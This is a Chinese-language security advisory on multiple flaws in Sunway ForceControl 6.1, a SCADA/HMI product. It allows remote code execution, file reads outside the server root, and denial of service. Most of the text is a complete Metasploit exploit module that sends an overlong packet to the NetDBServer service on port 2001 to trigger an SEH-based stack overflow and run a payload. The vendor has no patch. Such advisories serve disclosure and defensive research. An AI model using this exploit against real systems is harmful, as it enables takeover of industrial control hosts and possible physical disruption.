发布日期：2011-09-23
更新日期：2012-02-03
受影响系统：
Sunway ForceContro 6.1 SP3
Sunway ForceContro 6.1 SP2
Sunway ForceContro 6.1 SP1
描述：
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BUGTRAQ ID: 49747
Sunway ForceControl是中文的SCADA/HMI软件。
ForceControl在实现上存在多个安全漏洞，远程攻击者可能利用此漏洞在目标系统上执行任意代码，检索服务器根目录外的任意文件，造成拒绝服务。
<*来源：Luigi Auriemma （aluigi@pivx.com）
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Luigi Auriemma （aluigi@pivx.com）提供了如下测试方法：
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57',
'Description' => %q{
This module exploits a stack based buffer overflow found in the SNMP
NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is
triggered when sending an overly long string to the listening service
on port 2001.
},
'Author' => [
'Luigi Auriemma', # original discovery
'Rinat Ziyayev',
'James Fitts'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '49747' ],
[ 'URL', 'https://aluigi.altervista.org/adv/forcecontrol_1-adv.txt' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => 'true',
'BadChars' => "\x0a\x0d\xae",
},
'Platform' => 'win',
'Targets' =>
[
[
# p/p/r ComDll.dll
'Windows', { 'Ret' => 0x100022c4 }
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 22 2011'))
register_options(
[
Opt::RPORT(2001)
], self.class )
end
def exploit
connect
header = "\xeb\x50\xeb\x50"
header << "\x57\x00" # packet type
header << "\xff\xff\x00\x00"
header << "\x01\x00"
header << "\xff"
footer = "\r\n"
packet = rand_text_alpha_upper(65535)
packet[0,header.length] = header
packet[293,8] = generate_seh_record(target.ret)
packet[301,20] = make_nops(20)
packet[321,payload.encoded.length] = payload.encoded
packet[65533,2] = footer
print_status("Trying target %s..." % target.name)
sock.put(packet)
handler
disconnect
end
end
建议：
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厂商补丁：
Sunway
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：